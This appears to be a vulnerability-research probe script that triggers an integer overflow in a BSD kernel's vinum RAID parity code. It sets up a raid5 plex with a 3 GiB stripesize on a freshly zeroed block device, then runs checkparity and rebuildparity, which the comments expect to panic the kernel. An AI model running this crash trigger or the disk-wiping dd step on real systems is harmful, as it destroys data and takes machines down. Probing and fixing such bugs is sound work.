DF-4803 / run_vbd1.sh
#!/bin/sh # DF-4803 probe: parityops/parityrebuild integer overflow via huge stripesize. # # parityops() computes (vinumrevive.c:274-275): # size = imin(DEFAULT_REVIVE_BLOCKSIZE, plex->stripesize << DEV_BSHIFT); # `stripesize` is in sectors (int); for a stripesize >= 2 GiB the shift # overflows int. 3 GiB (6291456 sectors) wraps to 0xC0000000 (negative), # imin picks it, and parityrebuild() derives Malloc sizes from it. # # Expect (stock, if the arithmetic lands as analyzed): kernel panic or # wild allocation from `vinum checkparity`/`rebuildparity` on a legal # config string ("plex org raid5 3g"). date kldunload vinum 2>/dev/null; sleep 1 kldload vinum >/dev/null 2>&1 dd if=/dev/zero of=/dev/vbd1 bs=1m count=512 >/dev/null 2>&1 gpt create -f vbd1 >/dev/null 2>&1 gpt add -t vinum -s 65536 vbd1 >/dev/null 2>&1 gpt add -t vinum -s 65536 vbd1 >/dev/null 2>&1 ls /dev/vbd1* printf "drive d1 device /dev/vbd1s0\ndrive d2 device /dev/vbd1s1\nvolume rv\n plex org raid5 3g\n sd length 2m drive d1\n sd length 2m drive d2\n sd length 2m driveoffset 4361s drive d2\n" > /tmp/vc3g.txt vinum create -f /tmp/vc3g.txt vinum list | tr -d "\r" | grep -E "^P " for o in rv.p0.s0 rv.p0.s1 rv.p0.s2 rv.p0 rv; do vinum setstate -f up $o >/dev/null 2>&1 done sleep 1 echo "== state ==" vinum list | tr -d "\r" | grep -E "^P |^S " echo "== checkparity on the 3g-stripe plex (t=0) ==" date timeout 20 vinum checkparity rv.p0; echo "checkparity rc=$?" date echo "== rebuildparity on the 3g-stripe plex ==" timeout 20 vinum rebuildparity rv.p0; echo "rebuildparity rc=$?" date echo "SURVIVED" dmesg | tail -5 |